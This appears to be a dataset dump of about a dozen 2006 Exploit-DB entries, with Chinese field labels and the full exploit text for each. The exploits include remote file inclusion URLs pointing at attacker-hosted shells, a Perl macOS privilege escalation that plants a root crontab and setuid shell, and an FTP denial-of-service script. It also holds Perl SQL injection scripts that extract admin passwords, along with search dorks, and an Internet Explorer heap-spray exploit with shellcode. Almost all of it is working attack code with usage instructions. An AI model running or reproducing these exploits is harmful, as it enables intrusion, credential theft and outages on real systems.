QLWD/code_shield huggingface dataset:
标题: PHPAdventure 1.1 - 'ad_main.php' Remote File Inclusion EDB-ID: 2736 CVE: 2006-5839 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-07 漏洞利用脚本: *********************************************
D.O.M TEAM
Bug found: HER0
cms: PHPAdventure
type: rfi
risk: High
download:http://prdownloads.sourceforge.net/phpadventure/phpadv11.tar.gz
contac:16.her0@gmail.com
nota: all the versions of PHPAdventure is affected..
********************************************
line of the code:

<?php
$_stage = 1;
include($_mygamefile);
?>

exploit:
/ad_main.php?_mygamefile=http://evilcode.txt?
****************************************************************
www.domteam.info

greetz:Sponge Bob,Bob esponja XDDDD...
******************************************************************************************

# milw0rm.com [2006-11-07] URL: https://www.exploit-db.com/exploits/2736
标题: Xcode OpenBase 10.0.0 (OSX) - Symlink Privilege Escalation EDB-ID: 2737 CVE: 2006-5851 类型: LOCAL 平台: OSX 发布日期: 2006-11-08 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs.
# Sorry you can NOT overwrite existing files.
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against  OpenBase10.0.0_MacOSX.dmg

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing.
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";

unless (($target) = @ARGV) {
       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c");

# Create a user crontab FIRST! This ensures that cron is running when the fake root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60;   # Probably don't need to wait this long but whatever...

system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX' > /var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2737
标题: WarFTPd 1.82.00-RC11 - Remote Denial of Service EDB-ID: 2735 CVE: 2006-5789 类型: DOS 平台: WINDOWS 发布日期: 2006-11-07 漏洞利用脚本: #!/usr/bin/env python

import sys
import ftplib

print "WAR_FTPD Remote Denial Of Service (DOS)"
print "Copyright (c) Joxean Koret"
print

target = "192.168.1.13"
targetPort = "21"

try:
    ftp = ftplib.FTP()

    print "[+] Connecting to target "
    msg = ftp.connect(target, targetPort)
    print "[+] Ok. Target banner"
    print msg
    print
    print "[+] Trying to logging anonymously"
    msg = ftp.login() # Anonymous
    print "[+] Ok. Message"
    print msg
    print
except:
    print "[!] Exploit doesn't work. " + str(sys.exc_info()[1])
    sys.exit(0)

a = "%s%s"
"""
for i in range(0):
    a += a
"""
b = "AAAA"

for i in range(6):
    b += b

a = a + b

print "[+] Exploiting with a buffer of " + str(len(a)) + " byte(s) ... "

try:
    ftp.cwd(a)
except:
    print "[+] Exploit apparently works. Trying to verify it ... "

    try:
        ftp.connect(target, targetPort)
        print "[!] No, it doesn't work [" + str(sys.exc_info()[1]) + "] :("
    except:
        print "[!] Ok. Server is dead, exploit successfully executed. "

# milw0rm.com [2006-11-07] URL: https://www.exploit-db.com/exploits/2735
标题: PHPGiggle 12.08 - 'CFG_PHPGIGGLE_ROOT' File Inclusion EDB-ID: 2732 CVE: 2006-7119 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: *******************************************************************************
# Title  :  Php Giggle  <= 12.08 Remote File Include Vulnerability

# Author :   ajann

# Vuln;

*******************************************************************************
[File]
startup.php
[/File]

[Code,1]
startup.php Error:

..
....
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/system/modregistry.inc.php");
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/public/msg.func.php");
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/public/fileio.func.php");

       //once the file I/O wrapper is brought up, it is convenient to use
       //function fileInclude
....
..

Key [:] CFG_PHPGIGGLE_ROOT=[file]

\Example:

http://target.com/path/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT=[Shell]

# ajann,Turkey
# ...
# Im not Hacker!

http://www.comscripts.com/scripts/php.phpgiggle.565.html =>      Télécharger

# milw0rm.com [2006-11-06] URL: https://www.exploit-db.com/exploits/2732
标题: iWare Pro 5.0.4 - 'chat_panel.php' Remote Code Execution EDB-ID: 2733 CVE: 2006-5837 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-07 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: iWare Professional CMS <= 5.0.4
+ Vendor ............: http://www.dsiware.com/
+ Download ..........: http://dsiware.com/download.php
+ Description .......: "iWare is a Open Source PHP & MySQL Content Management System"
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ iWare admin/mods/simplechat_1.0.0/chat_panel.php does not sanatize the $message variable
+ in the first argument of the PostMessage() function on line 11 before writing the variable
+ contents to chat_log.php on line 25. When chat_panel.php is requested, the PostMessage()
+ function is called on line 32 and $_REQUEST['msg'] is written to chat_log.php unsanatized.
+
+ Vulnerable Code: 
+ admin/mods/simplechat_1.0.0/chat_panel.php, line(s) 11-32:
+ -> 11: function PostMessage($message) {
+ -> 16:  $new_message = "".$message."<br />\n";
+ -> 23:  $open_file = fopen("chat_log.php", "w");
+ -> 25:  fputs($open_file, stripslashes($new_message));
+ -> 28:  fclose($open_file);
+ -> 29: }
+ -> 32: if($_REQUEST['talk']==1){PostMessage($_REQUEST['msg']);}
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=[evilcode]
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=%3C%3Fphp%0D%0A%24open_file+%3D+fopen%28%22..%2F..%2F..%2Fevilfile.php%22%2C+%22w%22%29%3B%0D%0Afputs%28%24open_file%2C%22%3C%3Fphp+include%28%5C%24_GET%5B%27evil_include%27%5D%29%3B+%3F%3E%22%29%3B%0D%0Afclose%28%24open_file%29%3B%0D%0Achmod%28%22..%2F..%2F..%2Fevilfile.php%22%2C0777%29%3B%0D%0A%3F%3E
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-07] URL: https://www.exploit-db.com/exploits/2733
标题: iPrimal Forums - '/admin/index.php' Change User Password EDB-ID: 2731 CVE: 2006-5787 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: #!perl
#http://ipigroup.org/downloads/forums.zip
#Bl0od3r
#Germany
#shoutzz to all members of dC3 crew ,matrix_killer,eddie14
#special to str0ke
use IO::Socket;
if (@ARGV<4) {
&header;
} else { &start };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$passwd=$ARGV[3];
$post="usersname=".$user."&password=".$passwd."&email=test%40test.com&name=Dummy+user&tagline=Im+a+dumy+user&location=Ohio&bday=1983-11-20&job=Being+a+test+dummy&interests=Anything&bio=I%5C%5C%5C%27ve+been+sitting+on+this+db+my+whole+life.++HELP%21&signature=This+is+my+signature.&url=http%3A%2F%2Fipigroup.org&aim=myaim&yahoo=myyahoo&msn=mymsn%40hotmail.com&icq=546546&submitupdate=Update";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST ".$path."admin/index.php?p=members&edit=".$user." HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;

print "[+]Seems like your account has been created!Now try to login in :";
print "\n[+]User:$user\t[+]Password:$passwd";
}

sub header() {
print("
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\t\t~~iPrimal Forums Users(ChangePass) 3xPl0!t~~
\t\t[+]By Bl0od3r
\t\t[+]dC3 Crew
\t\t[+]Usage:script.pl owned.org /script/ admin yeesss
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
");
}

# milw0rm.com [2006-11-06] URL: https://www.exploit-db.com/exploits/2731
标题: iPrimal Forums - '/admin/index.php' Remote File Inclusion EDB-ID: 2739 CVE: 2006-5788 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-08 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iPrimal Forums Remote File Inclusion
Download:http://ipigroup.org/downloads/forums.zip
Found by Bl0od3r
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable Code:   #line 126-129
.....
if($_GET['p'] == ''){

echo 'Please select an item from the menu above.';

}else{

include($_GET['p'].'.php');
.....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected File:
/admin/index.php =]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability:
http://host.com/admin/index.php?p=http://evil.com/shell.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetz:evilcookie,eddy14,matrix_killer
Special Greetz to:str0ke!

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2739
标题: Microsoft Internet Explorer 6/7 - XML Core Services Remote Code Execution (1) EDB-ID: 2743 CVE: 2006-5745 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-08 漏洞利用脚本: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">
<!--
MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit

Author: n/a

Info:
http://blogs.securiteam.com/index.php/archives/721
http://isc.sans.org/diary.php?storyid=1823
http://xforce.iss.net/xforce/alerts/id/239

Found in the wild and was pointed out on securiteam's blog (cheers Gadi Evron!)

Changed up the shellcode so it wouldn't be as evil for the viewers, calc.exe is called.

/str0ke
-->

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
 "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
 "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
 "%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
 "%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
 "%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
 "%uFF57%u63E7%u6C61%u0063");

sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>

</body></html>

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2743
标题: Article Script 1.6.3 - 'rss.php' SQL Injection EDB-ID: 2728 CVE: 2006-5765 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: Article Script v1.*and v1.6.3 Sql injection

Script Name :Article Script

Home Page:www.articlescript.org

Bug Founder :Liz0ziM

Mail:liz0@bsdmail.org

Baba Kimdir? Tabiki Liz0ziM

------------------------------------------------------------

http://www.victim.com/articles/rss.php?category= ' sql &#304;njection

Example:

 http://www.victim.com/articles/rss.php?category=-1/**/union/**/select/**/1,2,login,password/**/from/**/users/*

 <title>admin4521title> ------> Admin name :admin4521

 <link>http://www.victim.com/articles/cs1120/page_1/link>  ----------> Admin password cs1120

Dork:

"Powered by Article Script"

":: Article Script - New User Article ::"

intitle:":: Article Script -"

"Last Articles::"

Greatz My all friend

Source: http://www.blogcu.com/Liz0ziM/1312100/

# milw0rm.com [2006-11-06] URL: https://www.exploit-db.com/exploits/2728
标题: Cyberfolio 2.0 RC1 - 'av' Remote File Inclusion EDB-ID: 2725 CVE: 2006-5768 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_58$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av  Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author  : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Cyberfolio
version  : <=2.0 RC1
URL  : http://www.cyberfolio.org

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-06] URL: https://www.exploit-db.com/exploits/2725
标题: PHP Classifieds 7.1 - 'detail.php' SQL Injection EDB-ID: 2720 CVE: 2006-5828 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-05 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Php Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  Php Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: class.pl victim.com / 1
[//                   Example: class.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$classifiedsserver = $ARGV[0];
$classifiedsserver =~ s/(http:\/\/)//eg;
$classifiedshost = "http://".$classifiedsserver;
$classifiedsport = "80";
$classifiedsdir = $ARGV[1];
$classifiedsfile = "detail.php?id=1009&contact=1&user_id=";
$classifiedsend = "member_login.php";
$classifiedstarget = "1%20union%20select%20concat(adm_name,char(32),adm_pass)%20from%20phpclass_admins%20where%20adm_id%20like%20".$ARGV[2];
$classifiedstarget = $classifiedshost.$classifiedsdir.$classifiedsfile.$classifiedstarget;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $classifiedsserver\n";
$classifieds = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$classifiedsserver", PeerPort => "$classifiedsport") || die "\n+ Connection failed...\n";
print $classifieds "GET $classifiedstarget\n";
print $classifieds "Host: $classifiedsserver\n";
print $classifieds "Accept: */*\n";
print $classifieds "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$classifieds>) {
if ($answer =~ /<b>(.*?)<\/b>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username and Password: $1\n";
print "+ Lets go $classifiedshost$classifiedsdir$classifiedsend and\n+ Login with this information. \n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-05] URL: https://www.exploit-db.com/exploits/2720
标题: Agora 1.4 RC1 - 'MysqlfinderAdmin.php' Remote File Inclusion EDB-ID: 2726 CVE: 2006-7194 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_59$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_59$2006]Agora 1.4 RC1  "$_SESSION[PATH_COMPOSANT]" Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author  : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv59-theday-2006.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Agora
version  : 1.4 RC1
URL  : http://www.agora.gouv.fr

Based on the free software Spip, Agora is a free software of management of contents for 
Internet developed in php, which makes it possible to put in place and to manage quickly 
and with lower cost of the Internet sites, Intranet or extranet.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------
....
<?
include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")
...
----------------------------------------------------------

Input passed to the "$_SESSION["PATH_COMPOSANT"]" parameter in Mysqlfinder.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Insert new line code :
  ...
  include_once 'MysqlfinderParam.inc';
  ...
  
  Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")

- Turn off register_globals
- Turn off display_error to Hide Full Path Error

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-06] URL: https://www.exploit-db.com/exploits/2726
标题: Webdrivers Simple Forum - 'message_details.php' SQL Injection EDB-ID: 2722 CVE: 2006-5802 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-05 漏洞利用脚本: #!perl
use IO::Socket;
#Download:http://www.thewebdrivers.com/forum.zip
#By:Bl0od3r
#Germany =]
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
   $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET ".$path."message_details.php?id=-1%20UNION%20SELECT%201,password,username,4,4%20FROM%20tbl_register WHERE id=".$id."/* HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/<span class="style3">&nbsp;Re :  -(.*?)-/ && print "--------------------------------------------\n[+]UserName: $1\n[+]PassWord:";
$ans=~ m/<td class=\"text\">(.*?)<\/td>/ && print "$1\n";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
  } else {
print "[-]Error";
    }
  }
sub header() {
print
"--------------------------------------------------------------------\n";
print "|\t---------->By Bl0od3r<---------\t\t\t\t    |";
print "\n|Usage:script.pl host.com /path/ 1\t\t\t\t    |";
print
"\n--------------------------------------------------------------------\n";
exit;
}

# greetz to all dc3 members,matrix_killer and skOd =]

# milw0rm.com [2006-11-05] URL: https://www.exploit-db.com/exploits/2722